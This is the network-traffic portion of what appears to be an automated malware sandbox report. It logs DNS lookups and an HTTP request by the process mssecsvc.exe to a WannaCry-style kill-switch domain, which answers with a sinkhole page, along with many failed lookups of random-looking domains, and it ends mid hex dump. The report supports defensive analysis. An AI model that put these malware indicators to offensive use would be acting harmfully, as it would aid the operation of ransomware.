                                                                                                                                                              Jul 21, 2022 07:29:57.221470118 CEST53567148.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:57.257206917 CEST53510738.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:57.574318886 CEST53562398.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:57.606964111 CEST53587538.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:17.697741032 CEST53635918.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:17.763030052 CEST53598798.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:17.796636105 CEST53602128.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:17.832182884 CEST53511728.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:17.863944054 CEST53518938.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:17.900206089 CEST53626238.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:17.930238962 CEST53638018.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:17.966531038 CEST53546028.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:18.006112099 CEST53515558.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:18.036468983 CEST53631418.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:18.069037914 CEST53631818.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:18.107300043 CEST53529978.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:18.137511015 CEST53493588.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:18.174695015 CEST53559188.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:18.206815958 CEST53608178.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:18.235017061 CEST53558768.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:18.351074934 CEST53556588.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:18.386017084 CEST53535888.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.448862076 CEST5249353192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.478023052 CEST53524938.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.480056047 CEST6499953192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.587814093 CEST53649998.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.590639114 CEST5519453192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.625072956 CEST53551948.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.626983881 CEST5829053192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.662623882 CEST53582908.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.664500952 CEST5504553192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.693217039 CEST53550458.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.695302010 CEST6023753192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.728353024 CEST53602378.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.730819941 CEST5154753192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.758857965 CEST53515478.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.761759996 CEST6532253192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.789067030 CEST53653228.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.791429996 CEST5932453192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.817627907 CEST53593248.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.820907116 CEST5440653192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.848681927 CEST53544068.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.850584984 CEST6147653192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.876966953 CEST53614768.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.878911018 CEST6415553192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.912112951 CEST53641558.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.914371967 CEST5955153192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.941639900 CEST53595518.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.944392920 CEST5143653192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:38.973730087 CEST53514368.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:38.975773096 CEST5487953192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:39.001697063 CEST53548798.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:39.003936052 CEST6216953192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:39.034933090 CEST53621698.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:39.037175894 CEST6542653192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:39.071587086 CEST53654268.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:39.073875904 CEST5558953192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:39.103306055 CEST53555898.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:39.105397940 CEST5333553192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:39.211572886 CEST53533358.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:30:39.213670015 CEST5081953192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:30:39.245708942 CEST53508198.8.8.8192.168.2.3

                                                                                                                                                              DNS Queries

                                                                                                                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                              Jul 21, 2022 07:26:23.728657007 CEST192.168.2.38.8.8.80x56aStandard query (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:17.184519053 CEST192.168.2.38.8.8.80x343fStandard query (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.448862076 CEST192.168.2.38.8.8.80x296dStandard query (0)sojasb.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.480056047 CEST192.168.2.38.8.8.80x8cc1Standard query (0)kafoyb.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.590639114 CEST192.168.2.38.8.8.80xf02Standard query (0)xyyezb.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.626983881 CEST192.168.2.38.8.8.80x89d1Standard query (0)qeuury.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.664500952 CEST192.168.2.38.8.8.80x6a1Standard query (0)awnbiv.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.695302010 CEST192.168.2.38.8.8.80x1531Standard query (0)ddqbaw.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.730819941 CEST192.168.2.38.8.8.80x958Standard query (0)zxiljl.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.761759996 CEST192.168.2.38.8.8.80xb31dStandard query (0)ijaiay.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.791429996 CEST192.168.2.38.8.8.80x9a6eStandard query (0)vjufit.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.820907116 CEST192.168.2.38.8.8.80xd0b0Standard query (0)hrjgek.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.850584984 CEST192.168.2.38.8.8.80x40ecStandard query (0)edhqjy.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.878911018 CEST192.168.2.38.8.8.80x32bdStandard query (0)wyypfa.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.914371967 CEST192.168.2.38.8.8.80x302bStandard query (0)paqrpk.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.944392920 CEST192.168.2.38.8.8.80x5f25Standard query (0)khzysn.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.975773096 CEST192.168.2.38.8.8.80x8c67Standard query (0)tijgox.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:39.003936052 CEST192.168.2.38.8.8.80xd98cStandard query (0)uolirh.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:39.037175894 CEST192.168.2.38.8.8.80xd0a2Standard query (0)aojlek.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:39.073875904 CEST192.168.2.38.8.8.80x20b2Standard query (0)utdtjh.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:39.105397940 CEST192.168.2.38.8.8.80x547cStandard query (0)xzxehm.comA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:39.213670015 CEST192.168.2.38.8.8.80xa1b9Standard query (0)ljweip.comA (IP address)IN (0x0001)

                                                                                                                                                              DNS Answers

                                                                                                                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                              Jul 21, 2022 07:26:23.750410080 CEST8.8.8.8192.168.2.30x56aNo error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.17.244.81A (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:26:23.750410080 CEST8.8.8.8192.168.2.30x56aNo error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.16.173.80A (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:17.204521894 CEST8.8.8.8192.168.2.30x343fNo error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.17.244.81A (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:17.204521894 CEST8.8.8.8192.168.2.30x343fNo error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.16.173.80A (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:52.645070076 CEST8.8.8.8192.168.2.30xb69fName error (3)vanjbe.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:52.698692083 CEST8.8.8.8192.168.2.30xfc09Name error (3)xolivy.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:52.736644030 CEST8.8.8.8192.168.2.30xeeb7Name error (3)izacue.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:52.808298111 CEST8.8.8.8192.168.2.30x580Name error (3)elaxes.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:52.845310926 CEST8.8.8.8192.168.2.30xba79Name error (3)buiydb.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:52.919753075 CEST8.8.8.8192.168.2.30x923fName error (3)oaxcuk.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:52.956126928 CEST8.8.8.8192.168.2.30x516dName error (3)wprujy.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:53.034773111 CEST8.8.8.8192.168.2.30x867dName error (3)dctzar.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:53.069080114 CEST8.8.8.8192.168.2.30x19f3Name error (3)amjeqc.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:53.140916109 CEST8.8.8.8192.168.2.30x51dbName error (3)llmgfw.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:53.171586037 CEST8.8.8.8192.168.2.30x71d6Name error (3)hulqaa.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:53.236452103 CEST8.8.8.8192.168.2.30x1cc0Name error (3)xneyid.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:53.284440994 CEST8.8.8.8192.168.2.30x31d7Name error (3)rsiyrt.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:53.869064093 CEST8.8.8.8192.168.2.30x1840Name error (3)efwuyj.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:53.913727045 CEST8.8.8.8192.168.2.30x1062Name error (3)ackhta.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:53.949793100 CEST8.8.8.8192.168.2.30x303bName error (3)uuayro.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:54.030905962 CEST8.8.8.8192.168.2.30x8161Name error (3)iacvxu.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:54.069905996 CEST8.8.8.8192.168.2.30xd1a4Name error (3)uiwccu.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:54.143102884 CEST8.8.8.8192.168.2.30x6153Name error (3)gulnml.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:54.180135012 CEST8.8.8.8192.168.2.30x4753Name error (3)muytuz.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:54.250638008 CEST8.8.8.8192.168.2.30xf04fName error (3)jfemkg.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:54.284820080 CEST8.8.8.8192.168.2.30x40e8Name error (3)xxvyhc.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:54.434007883 CEST8.8.8.8192.168.2.30xb347Name error (3)xgtyof.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:54.501992941 CEST8.8.8.8192.168.2.30xcb2aName error (3)iuerwc.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:54.585808992 CEST8.8.8.8192.168.2.30x1540Name error (3)pdrfat.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:54.660676003 CEST8.8.8.8192.168.2.30x5b6bName error (3)ftpjjt.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:54.819427967 CEST8.8.8.8192.168.2.30xbe9Name error (3)lyaade.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:55.817634106 CEST8.8.8.8192.168.2.30xd666Name error (3)yqfhfc.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:55.959033966 CEST8.8.8.8192.168.2.30x4eb3Name error (3)eydqtw.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:28:56.054667950 CEST8.8.8.8192.168.2.30x853bName error (3)fmteda.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:16.207576036 CEST8.8.8.8192.168.2.30xefafName error (3)bzzxaa.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:16.239826918 CEST8.8.8.8192.168.2.30x6042Name error (3)uprspu.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:36.313903093 CEST8.8.8.8192.168.2.30xe2e0Name error (3)ukiuqe.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:36.351494074 CEST8.8.8.8192.168.2.30x710cName error (3)evqxmm.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:36.387700081 CEST8.8.8.8192.168.2.30xddName error (3)ahhgic.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:36.425302029 CEST8.8.8.8192.168.2.30x3a47Name error (3)izeroy.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:56.504012108 CEST8.8.8.8192.168.2.30x77bdName error (3)cbceyl.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:56.533699036 CEST8.8.8.8192.168.2.30xa152Name error (3)sbaxaz.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:56.656066895 CEST8.8.8.8192.168.2.30x4e5aName error (3)khvywi.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:56.686167955 CEST8.8.8.8192.168.2.30xdcb1Name error (3)aabasj.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:56.715627909 CEST8.8.8.8192.168.2.30x5e28Name error (3)ezqesm.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:56.745950937 CEST8.8.8.8192.168.2.30x89a4Name error (3)prhyrg.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:56.775849104 CEST8.8.8.8192.168.2.30x6e2Name error (3)iyckqq.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:56.807594061 CEST8.8.8.8192.168.2.30x1d37Name error (3)xgfxaf.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:56.840030909 CEST8.8.8.8192.168.2.30x4878Name error (3)pgdnbx.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:56.871444941 CEST8.8.8.8192.168.2.30x4845Name error (3)nkhjrn.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:56.907429934 CEST8.8.8.8192.168.2.30x286dName error (3)xtebrw.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:56.943423033 CEST8.8.8.8192.168.2.30x505eName error (3)zaguew.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:57.053169966 CEST8.8.8.8192.168.2.30x7443Name error (3)lvemuu.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:57.080406904 CEST8.8.8.8192.168.2.30x78e5Name error (3)yrreqd.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:57.110358953 CEST8.8.8.8192.168.2.30x3f9aName error (3)cfuowu.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:57.150734901 CEST8.8.8.8192.168.2.30x420aName error (3)eecfoe.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:57.182341099 CEST8.8.8.8192.168.2.30x2227Name error (3)yylrkl.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:57.221470118 CEST8.8.8.8192.168.2.30x4e6cName error (3)afpezo.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:57.257206917 CEST8.8.8.8192.168.2.30x63a7Name error (3)jnsagy.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:29:57.606964111 CEST8.8.8.8192.168.2.30x5a2eName error (3)uiuhak.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:17.697741032 CEST8.8.8.8192.168.2.30x6d2Name error (3)euppji.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:17.763030052 CEST8.8.8.8192.168.2.30xc2Name error (3)eabiyo.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:17.796636105 CEST8.8.8.8192.168.2.30xc0f4Name error (3)olopvi.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:17.832182884 CEST8.8.8.8192.168.2.30xb8c7Name error (3)hbehfj.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:17.863944054 CEST8.8.8.8192.168.2.30x57c4Name error (3)siumdo.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:17.900206089 CEST8.8.8.8192.168.2.30x6a23Name error (3)qsmycs.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:17.930238962 CEST8.8.8.8192.168.2.30x1afeName error (3)uvjcyx.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:17.966531038 CEST8.8.8.8192.168.2.30x670eName error (3)kakfsu.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:18.006112099 CEST8.8.8.8192.168.2.30x5729Name error (3)euoxub.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:18.036468983 CEST8.8.8.8192.168.2.30xa4b6Name error (3)eynvfn.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:18.069037914 CEST8.8.8.8192.168.2.30xb6e0Name error (3)zngadv.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:18.107300043 CEST8.8.8.8192.168.2.30x14a7Name error (3)fdxabf.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:18.137511015 CEST8.8.8.8192.168.2.30x5cb4Name error (3)imqlsi.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:18.174695015 CEST8.8.8.8192.168.2.30xc45dName error (3)ledxdi.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:18.206815958 CEST8.8.8.8192.168.2.30xedc9Name error (3)erdxat.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:18.235017061 CEST8.8.8.8192.168.2.30x4795Name error (3)qjpwyy.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:18.351074934 CEST8.8.8.8192.168.2.30x9138Name error (3)ovtuyx.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:18.386017084 CEST8.8.8.8192.168.2.30xf288Name error (3)xigvgj.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.478023052 CEST8.8.8.8192.168.2.30x296dName error (3)sojasb.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.587814093 CEST8.8.8.8192.168.2.30x8cc1Name error (3)kafoyb.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.625072956 CEST8.8.8.8192.168.2.30xf02Name error (3)xyyezb.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.662623882 CEST8.8.8.8192.168.2.30x89d1Name error (3)qeuury.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.693217039 CEST8.8.8.8192.168.2.30x6a1Name error (3)awnbiv.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.728353024 CEST8.8.8.8192.168.2.30x1531Name error (3)ddqbaw.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.758857965 CEST8.8.8.8192.168.2.30x958Name error (3)zxiljl.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.789067030 CEST8.8.8.8192.168.2.30xb31dName error (3)ijaiay.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.817627907 CEST8.8.8.8192.168.2.30x9a6eName error (3)vjufit.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.848681927 CEST8.8.8.8192.168.2.30xd0b0Name error (3)hrjgek.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.876966953 CEST8.8.8.8192.168.2.30x40ecName error (3)edhqjy.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.912112951 CEST8.8.8.8192.168.2.30x32bdName error (3)wyypfa.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.941639900 CEST8.8.8.8192.168.2.30x302bName error (3)paqrpk.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:38.973730087 CEST8.8.8.8192.168.2.30x5f25Name error (3)khzysn.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:39.001697063 CEST8.8.8.8192.168.2.30x8c67Name error (3)tijgox.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:39.034933090 CEST8.8.8.8192.168.2.30xd98cName error (3)uolirh.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:39.071587086 CEST8.8.8.8192.168.2.30xd0a2Name error (3)aojlek.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:39.103306055 CEST8.8.8.8192.168.2.30x20b2Name error (3)utdtjh.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:39.211572886 CEST8.8.8.8192.168.2.30x547cName error (3)xzxehm.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                              Jul 21, 2022 07:30:39.245708942 CEST8.8.8.8192.168.2.30xa1b9Name error (3)ljweip.comnonenoneA (IP address)IN (0x0001)

                                                                                                                                                              HTTP Request Dependency Graph

                                                                                                                                                              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

                                                                                                                                                              HTTP Packets

                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                              0192.168.2.349743104.17.244.8180C:\Windows\mssecsvc.exe
                                                                                                                                                              TimestampkBytes transferredDirectionData
                                                                                                                                                              Jul 21, 2022 07:26:23.816493034 CEST954OUTGET / HTTP/1.1
                                                                                                                                                              Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
                                                                                                                                                              Cache-Control: no-cache
                                                                                                                                                              Jul 21, 2022 07:26:23.850764036 CEST955INHTTP/1.1 200 OK
                                                                                                                                                              Date: Thu, 21 Jul 2022 05:26:23 GMT
                                                                                                                                                              Content-Type: text/html
                                                                                                                                                              Content-Length: 607
                                                                                                                                                              Connection: close
                                                                                                                                                              Server: cloudflare
                                                                                                                                                              CF-RAY: 72e1857eee63bb9d-FRA
                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 